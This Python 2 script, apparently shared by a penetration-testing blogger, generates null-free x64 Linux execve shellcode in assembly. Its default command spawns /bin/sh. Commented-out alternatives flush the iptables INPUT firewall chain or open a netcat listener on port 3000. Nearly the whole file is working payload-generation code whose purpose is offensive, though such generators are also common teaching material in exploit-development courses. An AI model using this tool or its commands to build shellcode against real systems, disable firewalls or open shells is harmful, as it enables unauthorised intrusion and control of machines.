96 lines
No EOL
2.6 KiB
Python
Executable file
96 lines
No EOL
2.6 KiB
Python
Executable file
#!/usr/bin/env python
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#
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# Features:
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# - Linux shellcode x64 assembly code generation
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# - stack based (smaller payload size)
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# - execve based
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# - supports long commands (meaning bigger than an x64 register - 64 bits)
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# - supports long parameters (meaning bigger than an x64 register - 64 bits)
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# - one command only (execve will alter the current memory proc and when it exits there's no continuation)
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# - supports command with up to 8 parameters
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#
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# Instructions
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# - requires full path to the command
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# - only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
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# - after having the x64 generated assembly code:
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# - copy paste it into a file (in a Linux environment) - example.nasm
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# - execute:
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# nasm -felf64 example.nasm -o example.o && ld example.o -o example
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#
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# Author: Andre Lima @0x4ndr3
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# https://pentesterslife.blog
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#
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########
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command = "/bin/sh"
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#command = "/sbin/iptables -F INPUT"
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#command = "/bin/nc -lvp 3000"
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#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"
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def tohex(val, nbits):
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return hex((val + (1 << nbits)) % (1 << nbits))
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code = ""
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code += "global _start\n"
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code += "section .text\n"
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code += "\n"
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code += "_start:\n"
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code += "push 59\n"
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code += "pop rax\n"
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code += "cdq\n"
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code += "push rdx\n"
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params = command.split(' ')
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try:
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params.remove('') # in case of multiple spaces in between params in the command - cleanup
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except: # it throws an exception if it doesn't finds one
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pass
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if len(params[0]) % 8 != 0:
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command = "/"*(8-len(params[0])%8) + params[0]
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iters = len(command)/8 - 1
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while iters >= 0:
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block = command[iters*8:iters*8+8]
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code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
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code += "push rbx\n"
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iters -= 1
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code += "push rsp\n"
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code += "pop rdi\n"
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aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
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i = 0
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params = params[1:] # remove first element - command itself. we just want the params
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if len(params) > len(aux_regs):
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print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
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exit(1)
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for p in params:
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code += "push rdx\n"
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if len(p) % 8 != 0:
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p += "\x00"*(8-len(p)%8)
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iters = len(p)/8 -1
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while iters >= 0: # each param
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block = p[iters*8:iters*8+8]
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code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
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code += "not rbx\n"
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code += "push rbx\n"
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iters -= 1
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code += "push rsp\n"
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code += "pop " + aux_regs[i] + "\n"
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i += 1
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code += "push rdx\n"
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code += "push rsp\n"
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code += "pop rdx\n"
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while i>0:
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i -= 1
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code += "push " + aux_regs[i] + "\n"
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code += "push rdi\n"
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code += "push rsp\n"
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code += "pop rsi\n"
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code += "syscall\n"
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print code |